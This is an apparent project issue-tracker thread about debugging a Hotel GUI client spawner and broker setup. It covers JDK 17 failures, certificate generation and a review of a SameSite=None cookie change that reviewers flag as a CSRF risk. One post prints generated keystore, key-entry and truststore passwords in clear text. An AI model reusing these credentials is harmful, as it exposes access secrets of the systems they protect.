Something is just not working in my world. I cannot get hotel_gui to spawn a client. I started from the beginning on my own laptop, without any broker involved, and it just indicates "The spawn process failed with 0 error. Please see spawner logs." I know there is a way to enable the logging, but I don't have that saved in a config, and all the wiki information seems to predate the CentralLogger. Regardless, I went to Hotel ChUI, and it does spawn fine, so I'm at a loss as to why GUI cannot, and ChUI can.
Roger,
Hotel GUI regular client session conflicts with SSO directory options:
...
<node-attribute name="ssoplugin" value="com.goldencode.hotel.HotelGuiSsoAuthenticator"/>
<node-attribute name="ssopluginoption" value="bogus"/>
...
You need to remove these two lines from <node class="authMode" name="auth-mode"> to start regular Web client.
But you can use embedded mode with these options enabled.
On the other hand if lines are removed the embedded mode will stop working, only regular web client. So they are mutually exclusive, either one or another per single directory.xml in use.
#239 Updated by Roger Borrello 9 months ago
That still results in "The spawn process failed with 0 error. Please see spawner logs." What are the spawner logging lines to add? that needs to be added to https://proj.goldencode.com/projects/p2j/wiki/Spawner_Setup_and_Configuration or https://proj.goldencode.com/projects/internal-documentation/wiki/Logs
#240 Updated by Eugenie Lyzenko 9 months ago
Roger Borrello wrote:
That still results in "The spawn process failed with 0 error. Please see spawner logs." What are the spawner logging lines to add? that needs to be added to https://proj.goldencode.com/projects/p2j/wiki/Spawner_Setup_and_Configuration or https://proj.goldencode.com/projects/internal-documentation/wiki/Logs
What JDK version you use?
The problem is 0 error means spawner think the process has been successfully started while started process failed to be completed. And we actually do not know why because it happen after it was successfully started.
#241 Updated by Sergey Ivanovskiy 9 months ago
I can just add my observation that for JDK 17 I cannot start the web client remotely via broker client, but I did not test the local spawn on JDK 17. So I got the same case that the web client failed while the spawner starts the java web client successfully. (0 spawn error). The current version of #9709 does not have the last trunk changes that reverted the spawn shared memory changes, but I also do not think that it makes sense.
#242 Updated by Roger Borrello 9 months ago
Eugenie Lyzenko wrote:
Roger Borrello wrote:
That still results in "The spawn process failed with 0 error. Please see spawner logs." What are the spawner logging lines to add? that needs to be added to https://proj.goldencode.com/projects/p2j/wiki/Spawner_Setup_and_Configuration or https://proj.goldencode.com/projects/internal-documentation/wiki/Logs
What JDK version you use?
I try to stick with JDK17, as that is what would need to be primary going forward.
The problem is 0 error means spawner think the process has been successfully started while started process failed to be completed. And we actually do not know why because it happen after it was successfully started.
The inability to have any meaningful logging is bad. How can I add some logging?
#243 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
I can just add my observation that for JDK 17 I cannot start the web client remotely via broker client, but I did not test the local spawn on JDK 17. So I got the same case that the web client failed while the spawner starts the java web client successfully. (0 spawn error). The current version of #9709 does not have the last trunk changes that reverted the spawn shared memory changes, but I also do not think that it makes sense.
I will try the current trunk.
#244 Updated by Eugenie Lyzenko 9 months ago
Roger Borrello wrote:
Eugenie Lyzenko wrote:
Roger Borrello wrote:
That still results in "The spawn process failed with 0 error. Please see spawner logs." What are the spawner logging lines to add? that needs to be added to https://proj.goldencode.com/projects/p2j/wiki/Spawner_Setup_and_Configuration or https://proj.goldencode.com/projects/internal-documentation/wiki/Logs
What JDK version you use?
I try to stick with JDK17, as that is what would need to be primary going forward.
Try to use this version: openjdk version "17.0.16" 2025-07-15 but not later/newer.
#245 Updated by Roger Borrello 9 months ago
Eugenie Lyzenko wrote:
Try to use this version:
openjdk version "17.0.16" 2025-07-15but not later/newer.
That's the version I am using. I can't even seem to debug the launching of /opt/spawner/spawn with the jvmArgs setup with -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5000 as the debugger never finds the process.
#246 Updated by Roger Borrello 9 months ago
What code actually forks the spawner? What is the last place I can step to before we get to the JNI?
#247 Updated by Sergey Ivanovskiy 9 months ago
Roger Borrello wrote:
What code actually forks the spawner? What is the last place I can step to before we get to the JNI?
If you meant the web client local spawn, then you can set the breakpoint at WebClientSpawner.spawn.WebClientSpawner.spawn-> ClientSpawner.spawnLocal launches the process of the spawn program and then the spawn program launches java configured to start the java web client. The java web client uses JNI methods at its start.
#248 Updated by Roger Borrello 9 months ago
Sergey Ivanovskiy wrote:
launches the process of the spawn program and then the spawn program launches java configured to start the java web client. The java web client uses JNI methods at its start.
So if this is the command:
/opt/spawner/spawn 1 rfb /home/rfb/projects/hotel_rfb/deploy/client java -Xmx512m -Djava.awt.headless=true -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5000 -Djava.library.path=/home/rfb/projects/fwd/trunk/build/lib/ -classpath /home/rfb/projects/fwd/trunk/build/lib/p2j.jar com.goldencode.p2j.main.ClientDriver net:server:host=localhost net:socket:nio=false net:ssl:trackSeqNo=false net:connection:secure=true net:server:secure_port=3333 server:spawner:uuid=00d2f40b-4d30-49e0-ac34-7d7ba298dc79
I can actually run that from the command line (as sudo) but I don't actually see it fork off java.
#249 Updated by Sergey Ivanovskiy 9 months ago
Roger Borrello wrote:
I can actually run that from the command line (as sudo) but I don't actually see it fork off java.
That was discussed already. If the spawner returns 0 code , then it means that it launches the java command and the ClientDriver has been failed at the beginning. Check what the parameter are really delivered to the command line. The spawner gets this option -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5000 but this option is not delivered because all parameters are passed via com.goldencode.p2j.main.NativeSecureConnection.command see #9709-168.
For example, the log for the broker client in the case of the remote spawn can be this one
INFO: The argument number 0 is: fwd. INFO: The argument number 1 is: "". INFO: The argument number 2 is: /home/fwd/projects/hotel_gui/deploy/broker. INFO: The argument number 3 is: java. INFO: The argument number 4 is: -Xmx1G. INFO: The argument number 5 is: . INFO: The argument number 6 is: -Djava.awt.headless=true. INFO: The argument number 7 is: -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/. INFO: The argument number 8 is: -classpath. INFO: The argument number 9 is: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar. INFO: The argument number 10 is: com.goldencode.p2j.main.ClientDriver. INFO: The argument number 11 is: net:server:host=fwddev1. INFO: The argument number 12 is: net:socket:nio=false. INFO: The argument number 13 is: net:ssl:trackSeqNo=false. INFO: The argument number 14 is: net:connection:secure=true. INFO: The argument number 15 is: net:server:secure_port=3333. INFO: The argument number 16 is: sso:subject:id=bogus. INFO: The argument number 17 is: sso:storage:id=storage-hotel. INFO: The argument number 18 is: client:web:host=localhost. INFO: The argument number 19 is: remote:agent:dedicatedMode=true. INFO: The argument number 20 is: client:web:port=7449. INFO: The argument number 21 is: server:spawner:uuid=fd8f4b19-f1b1-4fab-9750-72235ce1a1d9. INFO: Check user account for: fwd. INFO: The password is null. INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/fwd/projects/hotel_gui/deploy/broker). INFO: Spawn result code: (0).
#250 Updated by Roger Borrello 9 months ago
- % Done changed from 50 to 70
A little red-faced, but the some of the directory paths were incorrect leading to breakage in the starting of client processing. That behind me, I was able to quickly get to the "The webpage at https://fwddev2:7451/index.html?token=d27ea6cbf5659d20868b5bcfb105cab1 might be temporarily down or it may have moved permanently to a new web address." error again.
And I was able to get there with the base Hotel GUI configuration, plus the minimal broker addition to the configuration for the broker process, then the update of the directory certificate with:
java -classpath ../../p2j/build/lib/p2j.jar com.goldencode.p2j.security.SSLCertGenUtil -C YES -P YES -dir directory.xml
I believe this would afford you the ability to add certificates to the configuration without changing any existing passwords. The important thing is you would need to have access to the password to enter at the: Enter the root CA private-key encryption password: prompt. This would have been displayed at the initial: Private key for root CA [hotel-root] was encrypted using the [] password and the password was NOT SAVED in the directory. Losing this password will prohibit using the root CA to issue new certificates.
Then the values displayed in the The private key for certificate [broker1] was saved in the [broker1-private-key.store] key store, using store password [] and key-entry password []. would need to be entered into the bootstrap's access:password:keystore and access:password:keyentry values respectively. The access:password:truststore value is the The private key for certificate [standard] was saved in the [standard-private-key.store] key store, using store password [] value.
At this point, the security issues being reported by Chrome are probably related to the self-signed certificate and Chrome not showing the certificate warning because it came from a redirect. When we click through the security warning manually, the fingerprint is added, and we are OK the rest of the way for that browser session.
To solve this, could we export the certificate with keytool -export -alias jetty -file fwddev2.crt -keystore keystore.jks and import into Chrome?
#251 Updated by Roger Borrello 9 months ago
- File prepare_dir_h2.json added
- File directory_broker.xml.template added
Since I have to move off this task, as Greg definitely wants me to move to other priorities, I wanted to show that I have the attached directory_broker.xml.template as a potential template file. I copied it to directory_broker.xml and replaced the values by hand.
The main directory.xml.template has these diffs:
=== modified file 'deploy/server/directory.xml.template'
--- old/deploy/server/directory.xml.template 2025-09-16 13:10:01 +0000
+++ new/deploy/server/directory.xml.template 2025-11-03 22:21:04 +0000
@@ -491,6 +491,18 @@
<node-attribute name="values" value="all_others"/>
</node>
</node>
+ <node class="container" name="002350">
+ <node class="resource" name="resource-instance">
+ <node-attribute name="reftype" value="TRUE"/>
+ <node-attribute name="reference" value="com.goldencode.p2j.main.BrokerServerServices"/>
+ </node>
+ <node class="netRights" name="rights">
+ <node-attribute name="permissions" value="'0101'B"/>
+ </node>
+ <node class="strings" name="subjects">
+ <node-attribute name="values" value="all_others"/>
+ </node>
+ </node>
<node class="container" name="000550">
<node class="strings" name="subjects">
<node-attribute name="values" value="standard"/>
That seems to work with or without a Broker configured, so perhaps we should include it in the base directory template file?
I create a base directory with ./prepare_dir.sh -of prepare_dir_h2.json. Then the directory_broker.xml is merged in with:
java -Xmx256m -classpath ../../p2j/build/lib/p2j.jar com.goldencode.p2j.directory.DirectoryCopy copy directory_broker.xml "" directory.xml ""
Then we have the directory with the broker processes in it, and we can add the certificates and produce the broker1 keystore:
java -classpath ../../p2j/build/lib/p2j.jar com.goldencode.p2j.security.SSLCertGenUtil -C YES -P YES -dir directory.xml
There's a lot more to do, because we have to account for multiple brokers. We also want to do the same thing Constantin did with App Servers. We don't want to keep producing certificates and stores. We want to do that once, and then store that directory off with perhaps some other substitutable variables, which would be application specific. But maybe not really necessary for Hotel GUI.
#253 Updated by Sergey Ivanovskiy 8 months ago
There are no feedbacks or review of rev 16228 (9709b). That should be rebased. As I wrote in #9709-203 broker client does not work with Java17. So I need some help here. I have no ideas.
#254 Updated by Sergey Ivanovskiy 8 months ago
Rebased 9709b up to rev 16299. Please review. These changes are needed for broker client and SSO plugin.
#255 Updated by Sergey Ivanovskiy 8 months ago
Sergey Ivanovskiy wrote:
Rebased 9709b up to rev 16299. Please review. These changes are needed for broker client and SSO plugin.
I have no plans to add something to this branch but only to fix the reviewers remarks.
#256 Updated by Dean Macken 8 months ago
Hi all,
I can't seem to add myself as a watcher on this issue, can you help?
#257 Updated by Sergey Ivanovskiy 8 months ago
Yes, seems you are in the watcher list, added.
#258 Updated by Sergey Ivanovskiy 7 months ago
Updated 9709b over the trunk up to rev. 16326.
#259 Updated by Roger Borrello 7 months ago
Sergey, I am working on this again and I want to recap the process to setup the certificates, because that was the biggest challenge.
I run: java -classpath ../../p2j/build/lib/p2j.jar com.goldencode.p2j.security.SSLCertGenUtil -C YES -dir directory.xml on the fwddev1 server, and this will generate certificate updates in the directory.xml, as well as the passwords and .store files, which need to be utilized for access. The -C YES indicates "Reuse root CA from the directory". You are prompted for:
Enter the target P2J server identifier (by default "standard"):
This is ok as "standard", so enter.
Re-use the encryption passwords currently in the directory (yes/no):
I chose "no" because I wanted to generate new passwords to try.
Enter the root CA private-key encryption password:
This is stored in the original
pk-store-log.txt file at the Private key for root CA [hotel-root] was encrypted using the [...] password and the password was NOT SAVED in the directory. Losing this password will prohibit using the root CA to issue new certificates. text, so that is what I entered (... value).Encrypt the in-directory private keys using the same password (yes/no):
I chose "yes" here because it appears to be the simplest configuration, which I'd like.
At this point, the private keys are created and saved in the directory, and passwords stored, etc. The output for "broker1" has:
Private key for alias [broker1] was encrypted using the [UI74WV-dQlZQ~52WQ69gC5em%Mrqh9(g] password and saved in the /security/certificates/private-keys/broker1 node. Use the access:password:keyentry-broker1 key to set this password in the server's bootstrap config file and delete the /security/certificates/private-keys/broker1 node from the directory. Adding certificate for alias [broker1] to the /security/certificates/peers/broker1 node... Certificate for alias [broker1] has checksum [134729199e8e047fc1ffe1033f903e39] ... The private key for certificate [broker1] was saved in the [broker1-private-key.store] key store, using store password [6MtJvx#38P$xy8Ymo?gh0Y7sE3ffKU)e5Vqw] and key-entry password [gmxKx9(Bo12f8zvP0zlv<6Rk+hc>NBmkT63c].
This is where the data for the
broker1_client.xml access section comes from. It appears the import thing for this is the private key for the broker1-private-key.store:
<access>
<password truststore="eS9-8b*7VeR6Z~@hfhAf9SuQkvq3wJtDg88J" />
<password keystore="6MtJvx#38P$xy8Ymo?gh0Y7sE3ffKU)e5Vqw" />
<password keyentry="gmxKx9(Bo12f8zvP0zlv<6Rk+hc>NBmkT63c" />
</access>
The
truststore value comes from the line The servers' certificates [standard] were saved in the [srv-certs.store] key store, using password [eS9-8b*7VeR6Z~@hfhAf9SuQkvq3wJtDg88J]. since we chose the "standard" server at the beginning of all this.
If that data gathering is correct, there is the part about changing the values that go into the XML. Is there a standard for what characters needs to change? Some of the characters need to be modified so they can be handled in XML (such as & must change to & and < to <, etc).
#261 Updated by Sergey Ivanovskiy 7 months ago
We can modify com.goldencode.p2j.security.SSLCertGenUtil to make it possible generate required xml files. Could you gather requirements to implement these changes. Although the last time I worked with this API is 2017 so I need a time to adapt myself to this code.
#262 Updated by Sergey Ivanovskiy 7 months ago
I did the changes in 9709b that were not reviewed yet.
#263 Updated by Roger Borrello 7 months ago
Sergey Ivanovskiy wrote:
I did the changes in 9709b that were not reviewed yet.
Is Hynek the appropriate reviewer?
#264 Updated by Roger Borrello 7 months ago
I'm interested in understanding why when we run the ClientDriver at the command line (typically via client.sh), we pass -k and -t for the ssl-socket:keystore:password and ssl-socket:truststore:password values, but what about the keyentry option that shows up in the XML:
<access>
<password truststore="eS9-8b*7VeR6Z~@hfhAf9SuQkvq3wJtDg88J" />
<password keystore="6MtJvx#38P$xy8Ymo?gh0Y7sE3ffKU)e5Vqw" />
<password keyentry="gmxKx9(Bo12f8zvP0zlv<6Rk+hc>NBmkT63c" />
</access>
Is that something that should be passed to the
ClientDriver?#265 Updated by Roger Borrello 7 months ago
Sergey Ivanovskiy wrote:
https://stackoverflow.com/questions/1091945/what-characters-do-i-need-to-escape-in-xml-documents
Thank you for these references.
#266 Updated by Roger Borrello 7 months ago
Sergey, I seemed to have taken a step back, even though I have good certificates and passwords configured. The directory is configured same as yours. The server (fwddev1) log shows:
25/12/23 18:06:55.330-0500 | INFO | com.goldencode.p2j.main.Broker [Broker.removeBroker()] | ThreadName:Reader [00000008:broker1_process], Session:00000008, ThreadId:00000013, User:broker1_process | Broker user=broker1_process uuid=54315aab-dd8c-46d3-be5a-64e3ba1e6cb3 removed.
When I start the broker, the command (abbreviated) is:
java -XX:+HeapDumpOnOutOfMemoryError -Djava.library.path=../../p2j/build/lib -classpath ../lib/hotel.jar: ... com.goldencode.p2j.main.ClientDriver net:socket:nio=false net:connection:secure=true net:server:secure_port=3333 net:server:insecure_port=3433 /home/fwd/projects/hotel_gui/deploy/broker/broker1_client.xml client:mode:batch=true client:driver:background=true
But there isn't any spawner launched when I go to http://fwddev2:7443/gui.
The crash log on fwddev2 shows:
25/12/23 18:00:13.036-0500 | INFO | com.goldencode.p2j.main.BrokerCore [BrokerCore.start()] | ThreadName:main | Connecting (9) ... 25/12/23 18:00:13.201-0500 | FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = fwddev1; port = 3333; secure = true; 25/12/23 18:00:13.766-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.1.162:33927 -> fwddev1/192.168.1.241:3333 25/12/23 18:00:13.768-0500 | FINER | com.goldencode.p2j.security.SecurityManager | ThreadName:main | secure = true 25/12/23 18:00:13.768-0500 | FINER | com.goldencode.p2j.security.SecurityManager | ThreadName:main | sentCert = true 25/12/23 18:00:13.768-0500 | FINER | com.goldencode.p2j.security.SecurityManager | ThreadName:main | Getting AUTHMODEREQ 25/12/23 18:00:13.770-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0 25/12/23 18:00:13.770-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0 25/12/23 18:00:13.774-0500 | FINER | com.goldencode.p2j.security.SecurityManager | ThreadName:main | Got AUTHMODEREQ: 0 (action = 0) 25/12/23 18:00:13.774-0500 | FINER | com.goldencode.p2j.security.SecurityManager | ThreadName:main | Done with retry loop. 25/12/23 18:00:13.774-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): '' 25/12/23 18:00:13.775-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): true 25/12/23 18:00:13.775-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): 'broker1_process' 25/12/23 18:00:14.110-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46]) 25/12/23 18:00:14.115-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46] 25/12/23 18:00:14.129-0500 | FINER | com.goldencode.p2j.net.RemoteObject | ThreadName:main | exported com.goldencode.p2j.main.BrokerClientServices:public abstract com.goldencode.p2j.main.BrokerSpawnResult com.goldencode.p2j.main.BrokerClientServices.spawn(com.goldencode.p2j.main.BrokerSpawnParameters) 25/12/23 18:00:14.129-0500 | FINER | com.goldencode.p2j.net.RemoteObject | ThreadName:main | exported com.goldencode.p2j.main.BrokerClientServices:public abstract java.lang.String com.goldencode.p2j.main.BrokerClientServices.ping(java.lang.String) 25/12/23 18:00:14.129-0500 | FINER | com.goldencode.p2j.net.RemoteObject | ThreadName:main | exported com.goldencode.p2j.main.BrokerClientServices:public abstract java.lang.String com.goldencode.p2j.main.BrokerClientServices.getDedicatedHost() 25/12/23 18:00:14.129-0500 | FINER | com.goldencode.p2j.net.RemoteObject | ThreadName:main | exported com.goldencode.p2j.main.BrokerClientServices:public abstract double com.goldencode.p2j.main.BrokerClientServices.getSystemLoading() 25/12/23 18:00:14.140-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[230]) 25/12/23 18:00:14.144-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93] 25/12/23 18:00:14.146-0500 | FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String com.goldencode.p2j.main.BrokerServerServices.registerBroker(java.lang.String,java.lang.String,boolean) 25/12/23 18:00:14.146-0500 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (fwddev2, fwd, true) 25/12/23 18:00:14.146-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[64]) 25/12/23 18:00:14.153-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[75] 25/12/23 18:00:14.153-0500 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = 54315aab-dd8c-46d3-be5a-64e3ba1e6cb3 25/12/23 18:00:14.153-0500 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 7 25/12/23 18:00:14.153-0500 | INFO | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Broker has been registered uid=54315aab-dd8c-46d3-be5a-64e3ba1e6cb3 25/12/23 18:00:14.154-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[184]) 25/12/23 18:00:14.159-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93] 25/12/23 18:00:14.159-0500 | FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract void com.goldencode.p2j.main.BrokerServerServices.start(java.lang.String) 25/12/23 18:00:14.159-0500 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (54315aab-dd8c-46d3-be5a-64e3ba1e6cb3) 25/12/23 18:00:14.159-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
I just cannot figure out why there isn't a URL created and client spawned.
#267 Updated by Sergey Ivanovskiy 7 months ago
Roger Borrello wrote:
I'm interested in understanding why when we run the
ClientDriverat the command line (typically viaclient.sh), we pass-kand-tfor thessl-socket:keystore:passwordandssl-socket:truststore:passwordvalues, but what about thekeyentryoption that shows up in the XML:
[...]
Is that something that should be passed to theClientDriver?
ServerKeyStore has key entry password as keyManagerPassword. The local web client gets this server store from the server via (ClientCore)
// Obtain Spawner remote access interface
Spawner spawner = (Spawner) RemoteObject.obtainNetworkInstance(Spawner.class, session);
if (spawner != null)
{
String projectToken = config.getString(ConfigItem.PROJECT_TOKEN, null);
TemporaryClient tempClient = spawner.getTemporaryClient(uuid, projectToken);
driver = tempClient.doWork(spawner, config, diag);
}
else
{
throw new RuntimeException(String.format("Network server %s not found!",
Spawner.class.getName()));
}
but for the broker setup I will check this.
#268 Updated by Sergey Ivanovskiy 7 months ago
For the broker setup the spawned client connects to the server via SSL and gets remote server objects and performs the same calls as it happens for the local web client. The certificates store is needed only for the embedded web server that is started with the spawned web client. Correct?
#269 Updated by Sergey Ivanovskiy 7 months ago
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
I did the changes in 9709b that were not reviewed yet.
Is Hynek the appropriate reviewer?
Yes, you can add Eugenie and Constantin, they can review.
#270 Updated by Sergey Ivanovskiy 7 months ago
- File Screenshot from 2025-12-24 18-21-51.png added
I have no issues with the broker setup and Java 17. My environment just simulates your environment:
1) started VirtualBox image of Ubuntu 24.04.3 LTS (ip = 192.168.100.29)
2) On the host system 24.02 Hotel_gui is running (ip = 192.168.100.28)
3) Connect broker client on the virtual host(192.168.100.29) to the server(192.168.100.28).
4) Open the Chrome browser on the host (192.168.100.28) and access to https://192.168.100.28:7443/gui
5) login using sso plugin hotel/hotel
and the web client should be spawned on the virtual host (ip = 192.168.100.29)
Please look
I can share your efforts on this issue if you will give me instructions of how to create the environment exactly the same as you are testing
#271 Updated by Sergey Ivanovskiy 7 months ago
I used 9709b.
#272 Updated by Hynek Cihlar 7 months ago
Code review 9709b.
Potential NPE, env.get(BrokerCore.BROKER_DEDICATED_HOST) may in theory return null. For safety I would add a check.
In WebClientBuilder please merge the three if (merge) in a single one.
I'm a bit uneasy with relaxing the same-site cookie policy in AuthHandler. Shouldn't we provide at least Lax? Or better having this configured and only allow relaxing it when needed?
#273 Updated by Sergey Ivanovskiy 7 months ago
Hynek Cihlar wrote:
Code review 9709b.
I'm a bit uneasy with relaxing the same-site cookie policy in
AuthHandler. Shouldn't we provide at least Lax? Or better having this configured and only allow relaxing it when needed?
I can explain it in this manner that the security cookie is associated with the main web site but the web client started on the different host takes this cookie that has another origin to authenticate a user.
It seems that NONE is only option. In practice I did some tests that showed that another cookie policies do not work. The web client is started from the different site so the request to the embedded web server needs to have this security origin, please look at this https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies
NONE does not mean that we weak the web application security but it means that we have such design.
#274 Updated by Sergey Ivanovskiy 7 months ago
Hynek Cihlar wrote:
Code review 9709b.
Potential
NPE,env.get(BrokerCore.BROKER_DEDICATED_HOST)may in theory returnnull. For safety I would add a check.In
WebClientBuilderplease merge the threeif (merge)in a single one.
Please review revision 16336 (9709b) in which these issues are fixed.
#275 Updated by Hynek Cihlar 7 months ago
Sergey Ivanovskiy wrote:
It seems that NONE is only option. In practice I did some tests that showed that another cookie policies do not work. The web client is started from the different site so the request to the embedded web server needs to have this security origin, please look at this https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies
NONE does not mean that we weak the web application security but it means that we have such design.
On a second thought we should really not relax the same-site policy.
This is an authorization cookie. With the same-site policy set to NONE a malicous site could post a request to FWD with the authorization cookie attached.
The authorization token should be delivered to the client during the spawning process if both the client and server must be exposed to the browser with different server names.
Greg, please review the idea.
#276 Updated by Sergey Ivanovskiy 7 months ago
Hynek, could you please explain or develop your idea more thoroughly because it is not clear for me now. The spawned web client gets security token through the spawn process but the js web client is authenticated via this security cookie.
#277 Updated by Hynek Cihlar 7 months ago
Sergey Ivanovskiy wrote:
Hynek, could you please explain or develop your idea more thoroughly because it is not clear for me now. The spawned web client gets security token through the spawn process but the js web client is authenticated via this security cookie.
Please let me re-iterate the idea.
The same-site policy must not be set to NONE, this introduces the vulnerability mentioned in my previous message.
Now to overcome the authorization cookie not accessible by the inner iframe (served by the client) I see two options.
1. A reverse proxy so that both the server content and the client content appear as a single domain.
or:
2. Do not use the secure cookie for authorization but instead send an authorization token in the Authorization HTTP header. This will require a change in AuthHandler (and JS driver), but the result will allow more deployment options (without the reverse proxy).
#278 Updated by Sergey Ivanovskiy 7 months ago
Hynek, is this rev 16336 (9709b) passed the review if we don't take into account the security issues?
I would propose to make this part as a second part of this issue because it gives a chance to develop multi-container Docker environment/broker spawning in parallel to this task. The first option to use the proxy server and the other idea to make use the security header require the time to evaluate and to develop so it would be good if this work didn't block the multi-container Docker environment/broker spawning task.
#279 Updated by Sergey Ivanovskiy 7 months ago
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
Hynek, could you please explain or develop your idea more thoroughly because it is not clear for me now. The spawned web client gets security token through the spawn process but the js web client is authenticated via this security cookie.
Please let me re-iterate the idea.
The same-site policy must not be set to
NONE, this introduces the vulnerability mentioned in my previous message.
What is the difference between the security header and security cookie if the both values can be decrypted?
#280 Updated by Sergey Ivanovskiy 7 months ago
I don't understand why this option (ref https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies)
None specifies that cookies are sent on both originating and cross-site requests. This is useful if you want to send cookies along with requests made from third-party content embedded in other sites, for example, ad-tech or analytics providers. Note that if SameSite=None is set then the Secure attribute must also be set — SameSite=None requires a secure context.
weak the converted web application security?
#281 Updated by Sergey Ivanovskiy 7 months ago
Why these issues were not raised when iframe with cookie were developed at the different task more earlier? The same site option could not be the critical issue that can lead to the mentioned vulnerability. I can agree if the web client can serve any users external pages, then the secure cookie can be visible to the authors of external pages. Do you agree?
#282 Updated by Sergey Ivanovskiy 7 months ago
Sergey Ivanovskiy wrote:
Why these issues were not raised when iframe with cookie were developed at the different task more earlier? The same site option could not be the critical issue that can lead to the mentioned vulnerability. I can agree if the web client can serve any users external pages, then the secure cookie can be visible to the authors of external pages. Do you agree?
I think it is not correct because the secure cookie is only visible to pages that served by the main web server.
#283 Updated by Hynek Cihlar 7 months ago
Sergey Ivanovskiy wrote:
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
Hynek, could you please explain or develop your idea more thoroughly because it is not clear for me now. The spawned web client gets security token through the spawn process but the js web client is authenticated via this security cookie.
Please let me re-iterate the idea.
The same-site policy must not be set to
NONE, this introduces the vulnerability mentioned in my previous message.What is the difference between the security header and security cookie if the both values can be decrypted?
The NONE Same-Site policy introduces a vulnerability to Cross-Site Request Forgery (CSRF) attacks. This is because it instructs the browser to automatically attach session cookies to requests initiated by any website.
So, if you log in to FWD and then visit a malicious site (while valid login cookies exist), that site can force your browser to send a request to a protected FWD endpoint. Since Same-Site is relaxed to NONE, the browser attaches the credentials and the request succeeds.
The Authorization Header prevents this because headers are never sent automatically by the browser. The malicious site cannot force the browser to include the header because it does not have access to the token required to build it.
#284 Updated by Hynek Cihlar 7 months ago
Sergey Ivanovskiy wrote:
Hynek, is this rev 16336 (9709b) passed the review if we don't take into account the security issues?
I would propose to make this part as a second part of this issue because it gives a chance to develop multi-container Docker environment/broker spawning in parallel to this task. The first option to use the proxy server and the other idea to make use the security header require the time to evaluate and to develop so it would be good if this work didn't block the multi-container Docker environment/broker spawning task.
As long as the changes are not delivered anywhere, and will only serve the internal purpose of building the multi-container environment, I'm fine with the changes. A follow up task branch will need to address the security issue.
#285 Updated by Sergey Ivanovskiy 7 months ago
OK. Thank you for pointing on this issue. I didn't know the Cross-site request forgery (CSRF) method to steal cookies. I will investigate the possible ways to secure the web client too.
#286 Updated by Sergey Ivanovskiy 7 months ago
It seems that using Anti-CSRF Tokens should be more easily to implement because this token can be included into html template page.
#288 Updated by Sergey Ivanovskiy 7 months ago
Authentication cookie is used only by AuthHandler and is not used by known implementations of SsoAuthenticator. I supposed to use auth parameter for GET sub requests initiated from the main web client template.
#289 Updated by Sergey Ivanovskiy 7 months ago
- File Screenshot from 2026-01-02 20-28-36.png added
I rolled back SameSite policy for the authorization cookie rev 16337 (9709b) by setting this property to STRICT and tested these changes again to be sure that the code changes are really needed here. Controversially Chrome considers iframe.src setting as a cross-site response so the authorization cookie is blocked.

#290 Updated by Roger Borrello 7 months ago
- File 9709_admin_broker1.png added
Sergey Ivanovskiy wrote:
I have no issues with the broker setup and Java 17. My environment just simulates your environment:
1) started VirtualBox image of Ubuntu 24.04.3 LTS (ip = 192.168.100.29)
2) On the host system 24.02 Hotel_gui is running (ip = 192.168.100.28)
3) Connect broker client on the virtual host(192.168.100.29) to the server(192.168.100.28).
4) Open the Chrome browser on the host (192.168.100.28) and access to https://192.168.100.28:7443/gui
5) login using sso plugin hotel/hotel
and the web client should be spawned on the virtual host (ip = 192.168.100.29)
The difference is I am running 2 VirtualBox images, fwddev1 (.241) and fwddev2 (.162). dev1 is where Hotel gui is running, and dev2 is where the broker1 is running. I am using my laptop (host) for the Chrome browser to access dev2.
I can share your efforts on this issue if you will give me instructions of how to create the environment exactly the same as you are testing
